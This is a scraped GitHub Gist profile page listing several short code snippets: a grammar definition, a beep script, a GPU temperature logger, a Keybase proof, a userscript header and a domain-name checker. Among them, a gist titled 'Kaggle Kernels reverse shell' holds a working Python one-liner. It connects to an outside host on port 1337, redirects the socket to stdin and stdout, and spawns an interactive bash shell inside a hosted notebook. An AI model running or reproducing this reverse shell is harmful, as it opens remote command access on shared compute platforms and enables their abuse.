Skip to content

Instantly share code, notes, and snippets.

View mxbi's full-sized avatar
💚

Mikel Bober-Irizar mxbi

💚
  • Iconic Games // University of Cambridge
  • United Kingdom
View GitHub Profile
######### SETTING UP GRAMMAR
rules_list = [("S", "NP", "VP"),
("NP", "N", "PP"),
("NP", "N"),
("PP", "P", "NP"),
("VP", "VP", "PP"),
("VP", "V", "VP"),
("VP", "V", "NP"),
import time
import math
import winsound
def beep():
winsound.Beep(600, 100)
time.sleep(0.05)
winsound.Beep(600, 100)
time.sleep(0.05)
winsound.Beep(600, 100)
@mxbi
mxbi / reverse_shell.py
Created August 16, 2018 14:50
Kaggle Kernels reverse shell
!echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vm.mxbi.net",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > shell.py
import subprocess
subprocess.Popen(["python", "shell.py"])
@mxbi
mxbi / templog.py
Created January 24, 2018 22:10
Logging GPU and CPU temperature
import subprocess
import mlcrate as mlc
import time
def get_stats():
nv = subprocess.run(['nvidia-smi'], stdout=subprocess.PIPE).stdout.decode('unicode_escape')
gpu_temps = []
for line in nv.split('\n'):
if len(line) > 11 and line[10] == 'C':
gpu_temps.append(int(line[8:10]))

Keybase proof

I hereby claim:

  • I am mxbi on github.
  • I am mxbi (https://keybase.io/mxbi) on keybase.
  • I have a public key whose fingerprint is 3065 AA40 0B24 4645 518B 1195 329A DA35 4A6C 3278

To claim this, I am signing this object:

// ==UserScript==
// @name Kaggle Profile Replacer
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Redirects
// @author http://github.com/mxbi
// @match https://tampermonkey.net/index.php?version=4.0.69&ext=dhdg&updated=true
// @grant none
// @include https://www.kaggle.com/*
// ==/UserScript==
@mxbi
mxbi / domain.py
Created March 2, 2016 20:55
Python script to look for available 3 letter domain names
import sys
import random
import string
import urllib.request as urllib2
import time
i = 1
while i < 2: